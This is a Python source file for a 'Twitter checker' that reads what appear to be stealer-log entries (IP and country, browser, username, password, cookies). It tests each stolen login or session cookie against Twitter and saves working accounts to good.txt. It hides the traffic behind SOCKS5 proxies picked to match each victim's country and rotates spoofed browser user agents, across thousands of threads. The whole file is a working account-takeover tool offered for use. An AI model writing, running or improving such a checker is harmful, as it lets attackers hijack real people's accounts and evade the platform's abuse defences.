twitter

cat /opt/twitter-checker/main.py
import sys
import re
import time
import threading
import Queue
import datetime
import random
import traceback

import grab
import grab.error
import pycurl


PARSE_TOKEN_PATTERN = 'value="([^"]+)"\s+name="authenticity_token"'

RESULT_MISSING_TOKEN = -1
RESULT_UNKNOW_ERROR = -2
RESULT_VALID = 1
RESULT_INVALID = -3

AUTH_TYPE_COOKIES = 4
AUTH_TYPE_LOGIN_PSSWD = 5

DEFAULT_MAX_CHECK_ATTEMPTS = 40
DEFAULT_SOCKS_LOAD_ATTEMTPS = 10

LOG_TIME_FORMAT = '%Y-%m-%d %H:%I:%S'
SOCKS_LIST_LIFE_TIME = 30

SOCKS_TEMPLATE = 'http://nosok.org/export?id=8a767c59&type=1&format=proxy&countries={CC}'
DEFAULT_GOOD_ACCOUNT_PATH = 'good.txt'

DEFAULT_TIMEOUT = 10

ACCOUNT_LIST_SEPARATOR = '=====================================================\n'
BROWSER_MAP = {
	'GoogleChrome': [
		('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
		 ' AppleWebKit/537.36 (KHTML, like Gecko)'
		 ' Chrome/70.0.3538.102 Safari/537.36'),
		('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
		 ' AppleWebKit/537.36 (KHTML, like Gecko)'
		 ' Chrome/71.0.3578.98 Safari/537.36')
	],
	'MozillaFireFox': [
		('Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)'
		 ' Gecko/20100101 Firefox/64.0'),
		('Mozilla/5.0 (Windows NT 6.3; Win64;'
		 ' x64; rv:63.0) Gecko/20100101 '
		 'Firefox/63.0'),
	],

	'Opera': [
		('Mozilla/5.0 (Windows NT 10.0; WOW64)'
		 ' AppleWebKit/537.36 (KHTML, like Gecko)'
		 ' Chrome/69.0.3497.100 Safari/537.36'
		 ' OPR/56.0.3051.52'),
		('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
		 ' AppleWebKit/537.36 (KHTML, like Gecko)'
		 ' Chrome/67.0.3396.87 Safari/537.36'
		 ' OPR/54.0.2952.71')
	],

	'MicrosoftEdge': [
		('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
		 ' AppleWebKit/605.1.15 (KHTML, like Gecko)'
		 ' Chrome/71.0.3578.98 Safari/605.1 Edge/19.17763'),
		('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
		 ' AppleWebKit/537.36 (KHTML, like Gecko)'
		 ' Chrome/64.0.3282.140 Safari/537.36 Edge/18.18298')

	]
}


class GGRab(grab.Grab):
	def prepare_request(self, **kwargs):
		super(GGRab, self).prepare_request(**kwargs)
		self.transport.curl.setopt(pycurl.FORBID_REUSE, True)

class EmptyProxyList(Exception):
	"""docstring for ClassName"""
	pass


def check(httpClient, **kwargs):
	if 'cookies' in kwargs:
		for cookie in kwargs['cookies']:
			d = cookie['domain']
			n = cookie['name']
			v = cookie['value']
			del cookie['domain']
			del cookie['name']
			del cookie['value']
			httpClient.cookies.set(n,
								  v,
								  d,
								  **cookie)


	httpClient.go('https://twitter.com/')


	if 'cookies' in kwargs:
		if 'Log out' in httpClient.doc.body:
			return RESULT_VALID
		elif 'session[password]' in httpClient.doc.body:
			return RESULT_INVALID
		else:
			return RESULT_UNKNOW_ERROR
	elif 'login' in kwargs and 'password' in kwargs:
		time.sleep(1)

		httpClient.go('/login')
		match = re.search(PARSE_TOKEN_PATTERN,
						httpClient.doc.body)
		if match is None:
			return RESULT_MISSING_TOKEN

		time.sleep(2)

		postData = {
			'authenticity_token':match.group(1),
			'redirect_after_login':'',
			'remember_me':	'1',
			'scribe_log': '',
			'session[password]': kwargs['password'],
			'session[username_or_email]':kwargs['login'],
			'ui_metrics': '',
		}

		httpClient.go('/sessions',post=postData,
			follow_location=False)



		if httpClient.doc.code == 302:
			location = httpClient.doc.headers['location']
			if location == 'https://twitter.com/':
				return RESULT_VALID
			elif 'error' in location:
				return RESULT_INVALID
			else:
				return RESULT_UNKNOW_ERROR
		else:
			return RESULT_UNKNOW_ERROR
	else:
		raise ValueError("You must pass cookies"
						 " arg or login and "
						 "password argument")




class CheckThread(threading.Thread):
	"""docstring for ClassName"""
	_queue = None
	_okFile = None
	_stopEvent = threading.Event()
	_errorLogLock = threading.RLock()
	_socksLock = threading.RLock()
	_okLock = threading.RLock()
	_okCountLock = threading.RLock()
	_badCountLock = threading.RLock()
	_socksMap = {}
	_okCount = 0
	_badCount = 0
	def __init__(self, okFile, queue,maxLoadsocksAttempts,
				maxCheckAttemtps,timeout,**kwargs):
		super(CheckThread, self).__init__(**kwargs)
		self._okFile = okFile
		self._queue = queue
		self._socksHttpClient = grab.Grab()
		self._maxLoadsocksAttempts = maxLoadsocksAttempts
		self._maxCheckAttemtps = maxCheckAttemtps
		self._timeout = timeout


	def logError(self, msg):
		logStr = ("[%s at %s] - %s"
		  % (self.name,
		  	datetime.datetime.now().strftime(LOG_TIME_FORMAT),
		  	msg))
		with self._errorLogLock:
			try:
				with open('errors.txt', "a") as err_f:
					err_f.write("%s\n\n\n" % logStr)
			except IOError as e:
				print ("Write log str error(%s)"
						%
						logStr)

	def getUserAgent(self, browserName):
		return random.choice(BROWSER_MAP.get(browserName,
							 BROWSER_MAP['GoogleChrome']))

	def loadSock(self, geo):
		socksLoaded = False
		for attemtpNum in range(self._maxLoadsocksAttempts):

			try:
				self._socksHttpClient.go(SOCKS_TEMPLATE.format(CC=geo))
				socksLoaded = True
				break
			except grab.error.GrabError as e:
				self.logError('Load socks error: %s' % str(e))
				if attemtpNum == self._maxLoadsocksAttempts - 1:
					self.stop()

		if socksLoaded:
			if not self._socksHttpClient.doc.body:
				raise EmptyProxyList("Empty proxy list")
			socksList = [s for s in self._socksHttpClient.doc.body.split('\n') if s]
			self._socksMap[geo] = (socksList,
										time.time())
		return socksLoaded



	def getSocks(self, geo):
		with self._socksLock:
			if (not geo in self._socksMap or
				time.time() - self._socksMap[geo][1] > SOCKS_LIST_LIFE_TIME):
				if not self.loadSock(geo):
					return False
			return random.choice(self._socksMap.get(geo)[0])



	def run(self):

		while True:

			try:

				try:
					(authData, geo,
					agent, raw_acc) = self._queue.get(True, 5)
				except Queue.Empty as e:
					break

				if self._stopEvent.isSet():
					break


				try:
					proxy = self.getSocks(geo)
				except EmptyProxyList as e:
					self.logError ("[-]Skip account without proxy: %s"
						   %  raw_acc)
					continue


				if not proxy:
					break


				httpClient = GGRab()
				httpClient.setup(user_agent=self.getUserAgent(agent),
								 proxy=proxy,
								 proxy_type="socks5",
								 timeout=self._timeout,
								 connect_timeout=self._timeout)

				result = None
				if not authData[0] is None:

					for attemtp_num in range(self._maxCheckAttemtps):
						if self._stopEvent.isSet():
							break

						try:
							result = check(httpClient,
											   login=authData[0][0],
									  password=authData[0][1])
							break
						except grab.error.GrabError as e:
							httpClient.cookies.clear()
							httpClient.setup(user_agent=self.getUserAgent(agent),
								 proxy=self.getSocks(geo),proxy_type="socks5",
								 timeout=self._timeout,
								 connect_timeout=self._timeout)
							self.logError("Check account  %s error: %s Proxy: %s"
									% ( authData, str(e), proxy))

							if attemtp_num == self._maxCheckAttemtps -1:
								self.logError("Max check attempts "
											  "exchausted")
								self.stop()
								break
							try:
								proxy = self.getSocks(geo)
							except EmptyProxyList as e:
								self.logError ("[-]Skip account without proxy: %s"
									   %  raw_acc)
								result == RESULT_INVALID
								break

				if self._stopEvent.isSet():
					break

				if result == RESULT_VALID:
					self.saveOkAccount(raw_acc)
				else:
					if authData[1] is None:
						with self._badCountLock:
							self.__class__._badCount += 1
					else:
						for attemtp_num in range(self._maxCheckAttemtps):
							if self._stopEvent.isSet():
								break

							try:
								result = check(httpClient,cookies=authData[1])
								break
							except KeyError:
								result = RESULT_INVALID
								break
							except grab.error.GrabConnectionError as e:
								httpClient.cookies.clear()
								httpClient.setup(user_agent=self.getUserAgent(agent),
								 proxy=self.getSocks(geo),proxy_type="socks5",
								 timeout=self._timeout,
								 connect_timeout=self._timeout)
								self.logError("Check account  %s error: %s change proxy..."
										% ( authData,
											str(e)))
							except grab.error.GrabError as e:
								self.logError("Check account  %s error: %s Proxy: %s"
										% ( authData,
											str(e), proxy))

								if attemtp_num == self._maxCheckAttemtps -1:
									self.logError("Max check attempts "
												  "exchausted")
									self.stop()
									break

						if result == RESULT_VALID:
							self.saveOkAccount(raw_acc)
						else:
							with self._badCountLock:
								self.__class__._badCount += 1



				try:
					self._queue.task_done()
				except ValueError as e:
					#logError('ValueError in thread: %s' % str(e))
					pass
			except Exception as e:
				self.logError("Unexcepted exception: %s\nTraceback:\n%s"
						% (str(e),traceback.format_exc()))
				break
		self.logError('Thread %s finished work' % self.name)

	def stop(self):
		self._stopEvent.set()
		self.logError("Stop event received")
		while True:
			try:
				self._queue.task_done()
			except ValueError as e:
				break


	@classmethod
	def getOkCount(cls):
		with cls._okCountLock:
			return cls._okCount

	@classmethod
	def getBadCount(cls):
		with cls._badCountLock:
			return cls._badCount


	def saveOkAccount(self, raw_acc):
		with self._okCountLock:
			self.__class__._okCount += 1

		try:
			with self._okLock:
				self._okFile.write("".join(
					[ACCOUNT_LIST_SEPARATOR,
					raw_acc,
					ACCOUNT_LIST_SEPARATOR
					]))
		except IOError as e:
			print("Save ok account: %s \nerror: %s"
				  % raw_acc, e.strerror)


class IntTypeWithRange(object):
	"""docstring for ClassName"""
	def __init__(self, min_, max_):
		self.min = min_
		self.max = max_


	def __call__(self, val):
		try:
			intVal = int(val)
		except ValueError as e:
			raise argparse.ArgumentTypeError("Argument must be correct number")
		else:
			if intVal > self.max:
				raise argparse.ArgumentTypeError("Argument "
					"must be less then %i" % self.max)
			elif intVal < self.min:
				raise argparse.ArgumentTypeError("Argument "
					"must be more then %i" % self.min)
		return intVal


def waitThreadsFinish(threadList, threadCount):
	print("[*]Wait all threads finish")
	sleepTime = threadCount * 5
	print("[*]Wait %i second threads" % sleepTime)
	for i in range(sleepTime):
		time.sleep(1)
		for x in range(len(threadList)):
			if x >= len(threadList):
				break

			thread = threadList[x]
			if not thread.is_alive():

				threadList.pop(x)

		if not threadList:
			break

if __name__ == '__main__':
	import argparse

	argParser = argparse.ArgumentParser(description="Twitter checker")
	argParser.add_argument('account_file', metavar='account '
												   'list path',
							type=argparse.FileType('r'))
	argParser.add_argument('thread_count', metavar='thread '
												   'count',
							type=IntTypeWithRange(1,10000))
	argParser.add_argument('-m',
							metavar='attempts number',
							help='max load socks'
									' list attempts count',
							default=DEFAULT_SOCKS_LOAD_ATTEMTPS,
							type=IntTypeWithRange(1,1000))
	argParser.add_argument('-g', type=argparse.FileType('w'),
						   metavar="path",
						   help="Path to file where good"
						        " accounts will be saved",
						   default=DEFAULT_GOOD_ACCOUNT_PATH)
	argParser.add_argument('-c', type=IntTypeWithRange(1,1000),
							metavar='attempts number',
						   help='max attempts number to check'
						   		   'accoount',
						   	default=DEFAULT_MAX_CHECK_ATTEMPTS)
	argParser.add_argument('-t', type=IntTypeWithRange(1,1000),
							metavar='timeout',
						   help='network operation timeout in seconds',
						   	default=DEFAULT_MAX_CHECK_ATTEMPTS)

	args = argParser.parse_args()

	accountsData = args.account_file.read().split(ACCOUNT_LIST_SEPARATOR)

	accountsQueue = Queue.Queue()
	loadedAccounts = []

	for account in accountsData[1:-1]:

		accountInfo = account.strip().split('\n')
		if len(accountInfo) < 5:
			print ("Skip account with invalid lines count: %s"
					% account)
			continue

		try:

			ip, geo = accountInfo[0].split(':')
		except ValueError as e:
			print ("Skip account with mailformed geo info: %s"
					% account)
			continue

		if not accountInfo[1].startswith('SOFT:\t\t'):
			print ("Skip account with mailformed browser name: %s"
					% account)
			continue


		browser = accountInfo[1].rstrip('SOFT:\t\t')
		if not browser:
			print ("Skip account empty browser: %s"
					% account)
			continue

		if not accountInfo[3].startswith('USER:\t\t'):
			print repr(accountInfo)
			print ("Skip account with mailformed user: %s"
					% account)
			continue

		if not accountInfo[4].startswith('PASS:\t\t'):
			print ("Skip account with mailformed psswd: %s"
					% account)
			continue

		user = accountInfo[3][7:]
		psswd = accountInfo[4][7:]


		if not user or not psswd:
			loginPsswd = None
		else:
			loginPsswd = (user,psswd)
			if ("%s:%s" % loginPsswd) in loadedAccounts:
				continue
			loadedAccounts.append("%s:%s" % loginPsswd)

		rawCookies = accountInfo[5:]
		if not rawCookies and loginPsswd is None:
			print ("Skip account without loginpsswd and cookies: %s"
					% account)
			continue

		cookies = []
		for cookieStr in rawCookies:
			try:
				(domain, flag, path,
				secure, expire,
				name,value) = cookieStr.split('\t')
			except ValueError as e:
				print ("Skip account mailformed cookies: %s"
					% account)
				continue


			cookies.append({
				'domain': domain,
				'path': path,
				'secure': True if secure == 'TRUE' else False,
				'expires': expire,
				'name': name,
				'value': value
			})



		accountsQueue.put((
			(
				(loginPsswd,cookies if cookies else None),
				geo,
				browser,
				account
			)
		))


	print ("[+]Successfully load %i unique accounts"
			% accountsQueue.qsize())

	if not loadedAccounts:
		print "Empty account list"
		sys.exit(1)

	threads = []
	try:
		for threadNum in range(args.thread_count):
			threads.append(CheckThread(args.g, accountsQueue,
									  args.m, args.c,
									  args.t))
			threads[-1].start()
		while not accountsQueue.empty():
			sys.stdout.write('\rGood: %i Bad: %i'
							 % (CheckThread.getOkCount(), CheckThread.getBadCount()))
			sys.stdout.flush()
			time.sleep(0.5)

		accountsQueue.join()
		waitThreadsFinish(threads, args.thread_count)
	except KeyboardInterrupt as e:
		if threads:
			threads[0].stop()
		print "CTRL+C press.. Stopping threads"
		waitThreadsFinish(threads, args.thread_count)
	finally:
		print ('\rGood: %i Bad: %i'
			  % (CheckThread.getOkCount(),
			     CheckThread.getBadCount()))
		args.g.close()